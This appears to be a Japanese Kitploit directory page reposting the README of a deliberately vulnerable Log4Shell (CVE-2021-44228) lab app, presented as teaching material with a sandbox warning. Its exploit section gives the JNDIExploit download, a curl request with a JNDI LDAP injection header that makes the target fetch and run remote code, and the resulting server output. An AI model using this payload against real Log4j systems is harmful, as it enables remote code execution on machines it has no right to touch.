Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
log4shell-vulnerable-app — CVE-2021-44228(通称Log4Shell)に脆弱なSpring Boot Webアプリケーション。 | Kitploit
ツール/GitHubGitHub/bsigouin/log4shell-vulnerable-app
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubbsigouin/log4shell-vulnerable-app

log4shell-vulnerable-app

CVE-2021-44228(通称Log4Shell)に脆弱なSpring Boot Webアプリケーション。

リポジトリを見る
4年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Log4Shell サンプル脆弱性アプリケーション (CVE-2021-44228)

このリポジトリには、CVE-2021-44228(通称 Log4Shell)に対して脆弱な Spring Boot Web アプリケーションが含まれています。

Log4j 2.14.1(spring-boot-starter-log4j2 2.6.1 経由)と JDK 1.8.0_181 を使用しています。

アプリケーションの実行

実行方法:

root@kitploit:~
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

自分でビルドする(Java関連のツールは不要):

root@kitploit:~
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app

エクスプロイト手順

※注:これは元の LunaSec 勧告 から大きく着想を得ています。自己責任で実行し、できればサンドボックス環境の VM で行ってください。

更新 (12月13日):JNDIExploit リポジトリは GitHub から削除されました(おそらく GitHub によるものではありません)。以下の JNDIExploit ダウンロード URL の前に web.archive.org を追加して、Wayback Machine にキャッシュされたバージョンを使用してください。

  • JNDIExploit を使用して悪意のある LDAP サーバーを起動します
root@kitploit:~
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
  • 次に、以下のようにしてエクスプロイトをトリガーします:
root@kitploit:~
# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
  • JNDIExploit の出力に注目してください。悪意のある LDAP 応答を送信し、第二段階のペイロードを提供したことが示されています:
root@kitploit:~
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
  • コード実行が成功したことを確認するには、脆弱なアプリケーションを実行しているコンテナ内で /tmp/pwned.txt ファイルが作成されたことに注目してください:
root@kitploit:~
$ docker exec vulnerable-app ls /tmp
...
pwned
...

参考

https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

貢献者

@christophetd @rayhan0x01

ツールをダウンロード